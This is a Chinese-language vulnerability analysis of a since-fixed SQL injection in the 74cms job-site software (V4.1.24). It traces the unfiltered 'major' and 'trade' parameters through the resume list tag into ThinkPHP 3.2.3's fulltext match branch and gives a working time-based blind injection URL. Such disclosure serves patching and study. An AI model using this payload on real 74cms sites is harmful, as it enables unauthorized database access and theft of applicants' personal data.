74cmsV4.2.3和V4.2.26一处已修复的SQL注入
0x01 准备
最新的两个版本V4.2.3和V4.2.26已经修复,测试版本为V4.1.24
0x02 具体分析
SQL注入在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Home\Controller\ResumeController.class.php中的resume_list函数,
public function resume_list(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url(array('c'=>'Resume','a'=>'index')));
}
$citycategory = I('get.citycategory','','trim');
$where = array(
'类型' => 'QS_citycategory',
'地区分类' => (C('SUBSITE_VAL.s_id') > 0 && !$citycategory) ? C('SUBSITE_VAL.s_district') : $citycategory
);
$classify = new \Common\qscmstag\classifyTag($where);
$city = $classify->run();
$jobcategory = I('get.jobcategory','','trim');
$where = array(
'类型' => 'QS_jobcategory',
'职位分类' => $jobcategory
);
$classify = new \Common\qscmstag\classifyTag($where);
$jobs = $classify->run();
$seo = array('jobcategory'=>$jobs['select']['categoryname'],'citycategory'=>$city['select']['categoryname'],'key'=>I('request.key'));
$page_seo = D('Page')->get_page();
$this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],$seo);
$this->display();
}
其中第41行会调用display函数,进行页面显示,在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Home\View\default\Resume\resume_list.html中,其中第364行
<qscms:resume_list 列表名="resumelist" 搜索类型="$_GET['search_type']" 显示数目="15" 分页显示="1" 关键字="$_GET['key']" 职位分类="$_GET['jobcategory']" 地区分类="$_GET['citycategory']" 日期范围="$_GET['settr']" 学历="$_GET['education']" 工作经验="$_GET['experience']" 工资="$_GET['wage']" 工作性质="$_GET['nature']" 标签="$_GET['resumetag']" 手机认证="$_GET['mobile_audit']" 照片="$_GET['photo']" 所学专业="$_GET['major']" 行业="$_GET['trade']" 年龄="$_GET['age']" 性别="$_GET['sex']" 特长描述长度="100" 排序="$_GET['sort']"/>
会调用74cms自写的标签qscms的resume_list的tag,该类在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Common\qscmstag\resume_listTag.class.php中,其中类的初始化函数为
public function __construct($options) {
foreach ($options as $key => $val) {
$this->params[$this->enum[$key]] = $val;
}
if($sort = trim($this->params['displayorder'])){
$sort = explode('>',$sort);
if(!$order = $this->order_array[$sort[0]]) $order = $this->default_order;
if($sort[1]=='desc'){
$sort[1]="desc";
}elseif($sort[1]=="asc"){
$sort[1]="asc";
}else{
$sort[1]="desc";
}
$this->order = str_replace('%s',$sort[1],$order);
}else{
$this->order = $this->default_order;
}
$map = array();
if(C('SUBSITE_VAL.s_id') > 0 && !$this->params['citycategory']){
$this->params['citycategory'] = C('SUBSITE_VAL.s_district');
}
//省市,职位,行业,标签,专业
foreach(array(1=>'citycategory',2=>'jobcategory',3=>'trade',4=>'tag',5=>'major',6=>'age') as $v) {
$name = '_where_'.$v;
if(false !== $w = $this->$name(trim($this->params[$v]))) $map[] = $w;
}
//性别,是否照片简历,简历等级,简历更新时间
foreach(array('sex'=>'sex','photo'=>'photo','talent'=>'talent','mob'=>'mobile_audit','nat'=>'nature','exp'=>'experience','wage'=>'wage') as $key=>$val) {
if($d = intval($this->params[$val])) $map[] = '+'.$key.$d;
}
if(C('qscms_resume_display') == 1){
$map[] = '+audit1';
}else{
$map[] = '+(audit1 audit2)';
}
if($education = intval($this->params['education'])){
$category = D('Category')->get_category_cache();
$w = '';
foreach ($category['QS_education'] as $key => $val) {
if($key >= $education) $w[] = 'edu'.$key;
}
if($w){
$map[] = '+('.implode(' ',$w).')';
会将html页面qscms的标签中获取的$_GET参数,也即是$options参数,在第64行进行赋值给$this->params。
然后在第86行,
foreach(array(1=>'citycategory',2=>'jobcategory',3=>'trade',4=>'tag',5=>'major',6=>'age') as $v) {
$name = '_where_'.$v;
if(false !== $w = $this->$name(trim($this->params[$v]))) $map[] = $w;
}
如果$v是major,那么$name就是_where_major,第88行的$this->$name()会调用_where_major函数,参数为$this->params[$v],也即是$this->params[major],也即是$_GET[‘major’],完全可以控制。之后赋给$map[]数组。_where_major函数在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Common\qscmstag\resume_listTag.class.php中,
protected function _where_major($data){
if($data){
if (strpos($data,',')){
$arr = explode(',',$data);
$arr=array_unique($arr);
$arr = array_slice($arr,0,10);
$sqlin = implode(' major',$arr);
return '+(major'.$sqlin.')';
}else{
return '+major'.intval($data);
}
}
return false;
}
可以看到参数$data,即是$_GET[‘major’],如果含有逗号,就是避开intval函数,从而只是经过各种常规处理,无过滤。
回到__construct函数的第147行
if($map) $this->where['key'] = array('match_mode',$map);
可以看到将数组map赋给了$this->where[‘key’],是一个二维数组。加载一下payload输出看一下该数组为
经过_construct函数后,标签会调用run函数。其中会调用第166行
$model->Table($db_pre.$this->mod.' r')->where($this->where)->join($this->join)->count('id')
这就涉及到74cmsV4.1.24用到的thinkphp3.2.3的一处小漏洞,对比了一下74cms最新的两个版本中的thinkphp框架,发现都没有该漏洞,不知道是74改了thinkphp的代码,还是thinkphp的版本变化
跟thinkphp框架的过程太多,这里省略过程,直接看其中最重要的parseWhereItem函数,
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt|is|is not)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}elseif(preg_match('/^(match)$/',$val[0])){//全文搜索
//关键字补0
$val[1] = array_map("fulltextpad",$val[1]);
// IN BOOLEAN MODE
$str = implode(' ', $val[1]);
$whereStr .= 'MATCH ('.$key.') AGAINST ("'.$str.'")';
}elseif(preg_match('/^(match_mode)$/',$val[0])){//全文搜索
//关键字补0
$val[1] = array_map("fulltextpad",$val[1]);
// IN BOOLEAN MODE
$str = implode(' ', $val[1]);
$whereStr .= 'MATCH ('.$key.') AGAINST ("'.$str.'" IN BOOLEAN MODE)';
}elseif(preg_match('/^(match_with)$/',$val[0])){//全文搜索
//关键字补0
$val[1] = array_map("fulltextpad",$val[1]);
$str = implode(' ', $val[1]);
$whereStr .= 'MATCH ('.$key.') AGAINST ("'.$str.'" WITH QUERY EXPANSION)';
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
其中第590行elseif(preg_match('/^(match_mode)$/',$val[0])){如果匹配到match_mode字符串,就进行第592行中,用fulltextpad函数处理$val[0],然后拼接到$whereStr中。全程无过滤。不止这个elseif有这问题,关于match的三个elseif都无过滤,不像其他elseif中用parseValue函数里有过滤。
正好之前我们的this->where中就有match _mode,导致二维数组中的数据不经过过滤,最终执行SQL语句,可以注入。
0x03 证明
直接访问
http://localhost/74cms_v4.1.24/upload/index.php?m=&c=resume&a=resume_list&major=72,and%201=1)%22)and(select%201%20from(select%20sleep(3))a)--%20-
页面延时3s,证明可以看下图
可以直接注入,不仅参数major可以注入,参数trade也可注入
0x04 修复
V4.2.3已intval,V4.2.26已intval,已对双引号编码(貌似是thinkphp在发挥作用,但是我没跟到具体的代码)
0x05 谁的锅
如果是该版本的thinkphp框架的问题,只有当程序用到有match、match_mode、match_with的二维数组才会产生漏洞,这种概率小,不知道算不算漏洞,但是74cms用到了,但是只要intval一下就可以了,所以是谁的锅呢